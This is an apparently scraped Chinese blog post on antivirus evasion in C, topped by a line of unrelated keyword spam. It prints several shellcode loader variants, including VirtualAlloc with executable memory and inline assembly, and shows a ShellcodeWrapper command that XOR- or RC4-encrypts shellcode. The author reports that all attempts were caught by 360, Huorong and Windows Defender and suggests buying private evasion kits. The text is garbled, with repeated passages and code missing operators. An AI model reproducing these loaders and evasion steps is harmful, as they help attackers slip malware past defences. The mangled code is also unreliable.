红色 网站,清华紫光做网站,凡客诚品上一年度市场份额,策划类网站前言
上次讲了python混淆免杀#xff0c;今天讲一下C混淆免杀。其实都大差不差的#xff0c;也都是通过各种算法对shellcod进行混淆免杀#xff0c;只不过是语言从python换成c了而已。
实验环境
测试环境依旧是360、火绒、WD还有VT。
shellcode上线
下面是最基本几个sh…前言
上次讲了python混淆免杀今天讲一下C混淆免杀。其实都大差不差的也都是通过各种算法对shellcod进行混淆免杀只不过是语言从python换成c了而已。
实验环境
测试环境依旧是360、火绒、WD还有VT。
shellcode上线
下面是最基本几个shellcode加载器和运行代码。
#include Windows.h
#include stdio.h
#include string.h
#pragma comment(linker,/subsystem:\Windows\ /entry:\mainCRTStartup\) //windows控制台程序不出黑窗口
unsigned char buf[] ;
int main()
{//方式一指针执行/* ((void(*)(void)) buf)();*///方式二强制类型转换//((void(WINAPI*)(void))buf)();//方式三申请动态内存加载/*char* Memory;Memory VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*///方式四嵌入汇编加载//__asm {//lea eax,buf//call eax//}//方式五汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
}C呢它不能像python那样直接运行就可以上线必须生成exe才可以进行上线。顺便说一下如果你生成的shellcode是64位的那么编译成exe也要选择64位的同时选择release发布版本如果你选择debug版本的话在运行的时候可能会出错说缺DLL啥的。 生成exe。
但是不知道为啥运行不了黑窗弹出来然后马上就没了命令运行也没见啥报错奇怪了。 虚拟机运行报错如下有了解的还请解答一下。 后来我又找了一个加载器不同于上面四个的这个就可以成功运行。
void main()
{LPVOID Memory VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)();
}
不用说原生态的肯定会被查杀的。 加载器免杀
上篇文章说了除了对shellcode进行混淆之外还可以对加载器进行免杀。这是我从github找的开源项目反正就是换各种奇奇怪怪的加载器来执行shellcode但是效果就不怎么好的基本没有免杀成功的就不一个个测试了。 shellcode免杀
我们利用ShellcodeWrapper这个脚本进行免杀对我们的shellcode进行异或或者是RC4加密。
下载地址GitHub - Ch1ngg/ShellcodeWrapperModify: Shellcode wrapper with encryption for multiple target languages XOR
先生成一个raw格式的shellcode。 这个项目用法也简单-cpp就是加密后生成一个c的源文件-CS就是生成C#的源文件-py这些也同样的道理。
./shellcode_encoder.py -cpp -cs -py -bin -go 3.bin xor 把c的编译一下测试效果其它语言自己测试就好。火绒一落地就杀了都还没检测。 WD也是一落地就杀了。 360也杀了。 VT有41个引擎检测到免杀效果很差不过也正常20年的项目了现在都不更新了。 RC4
试试RC4看看效果如何火绒杀掉了。 360也杀掉了 WD也不行。 说明这个项目确实没啥用了VT就不测试了。
总结
思路就是用C来写算法对shellcode加密以此来逃过杀软的检测。C的免杀效果不太好想要达到更好的免杀效果一个就是换其他语言比如go啊、python啊。还有就是加密脚本尽量自己写因为网上公开的脚本只要用的人多了杀软就会提取它的特征加入特征库所以这就是为啥公开的很快就失效了。并不是说自己写的脚本加密方式有多复杂而是避开了那些特征。还有就是可以进别人的星球去买内部的免杀资源这样的效果会好很多。
最后以上仅为个人的拙见如何有不对的地方欢迎各位师傅指正与补充有兴趣的师傅可以一起交流学习。